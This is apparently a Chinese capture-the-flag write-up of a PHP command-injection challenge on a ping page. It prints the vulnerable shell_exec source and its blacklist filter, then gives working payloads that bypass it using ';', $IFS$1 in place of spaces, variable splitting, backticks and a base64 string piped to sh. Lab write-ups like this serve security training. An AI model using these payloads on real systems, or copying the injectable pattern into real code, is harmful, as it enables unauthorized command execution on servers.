原理
RCE命令执行的多种绕过姿势
解题过程
进入靶场提示要传递参数ip
那就传递一下127.0.0.1,结果正常
试试进行拼接,试了127.0.0.1&&ls或者127.0.0.1&ls都不行,,,直到用;做连接符才可以
payload:127.0.0.1;ls
发现有index.php和flag.php文件,猜测flag应该在flag.php内
接着尝试读取文件内容.127.0.0.1;cat flag.php。不行,发现做了过滤,看看过滤了什么
尝试后发现是过滤了空格,用$IFS$1替换空格后,还是不行,发现过滤了flag。
我们试试读取index.php内容,看能否打印出原代码
payload:127.0.0.1;cat$IFS$1index.php 结果真的打印出了原代码,那就代码审计
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
发现过滤了很多特殊符号,空格,bash,还有按顺序的flag
如何绕过呢。可以尝试变量绕过
payload:127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
查看原代码,爆出flag
还可以使用内联执行来绕过
payload:127.0.0.1;cat$IFS$1`ls`
这里是将ls命令的执行结果即index.php flag.php都打印出来
还可以使用base64加密绕过
payload:127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
原型是echo cat flag.php|base64 -d|sh
参考文案:https://blog.csdn.net/m0_62422842/article/details/124616206